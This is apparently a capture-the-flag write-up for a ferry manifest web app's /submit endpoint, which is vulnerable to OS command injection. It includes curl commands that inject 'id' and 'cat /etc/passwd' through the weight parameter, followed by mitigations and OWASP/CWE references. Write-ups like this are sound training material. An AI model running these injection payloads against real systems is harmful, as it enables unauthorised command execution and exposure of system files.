Overview
A ferry manifest application accepts cargo descriptions and weights via a /submit endpoint. The application constructs a shell command using user-supplied input with shell=True, enabling OS command injection.
Prerequisites / Setup
export TARGET="<challenge URL or IP>"
curl is sufficient; no wordlist or credentials are required.
Recon
Step 1 — Initial enumeration
Goal: Discover the /submit endpoint and confirm it accepts POST requests.
curl -s "$TARGET/"
The root page reveals two endpoints: / and /submit.
Step 2 — Investigate the /submit endpoint
Goal: Confirm that the weight parameter is passed to a shell command.
Submit a normal submission and observe the redirect to /manifest/<id>. Then test with shell metacharacters in the weight parameter to confirm command injection.
Vulnerability Analysis
The flaw class is OS Command Injection (CWE-78: Improper Neutralization of Special Elements used in an OS Command).
Exploitation
Step 3 — Confirm command injection
Goal: Verify that shell metacharacters in the weight parameter result in command execution.
curl -s -X POST "$TARGET/submit" \
-d "cargo=test&weight=test;id"
The output contains uid=1000(ferry) gid=1000(ferry) groups=1000(ferry), confirming command injection.
Step 4 — Execute arbitrary commands
Goal: Execute arbitrary commands via the weight parameter.
curl -s -X POST "$TARGET/submit" \
-d "cargo=test&weight=test;cat\ /etc/passwd"
Flag
r00t{REDACTED}
Lessons / Takeaways
- Never pass user-controlled input to shell commands; use parameterized APIs instead.
- Validate and sanitize all user input before using it in shell commands.
- Run the application with least-privilege OS credentials.
Mitigations
- Use parameterized APIs (e.g.,
subprocess.run([args], shell=False)) instead of shell command strings. - Validate and whitelist all user input before using it in shell commands.
- Run the application with least-privilege OS credentials.
Techniques
- OS Command Injection
- Command Injection
References
- OWASP, “Command Injection”: https://owasp.org/www-community/attacks/Command_Injection
- CWE-78: Improper Neutralization of Special Elements used in an OS Command: https://cwe.mitre.org/data/definitions/78.html

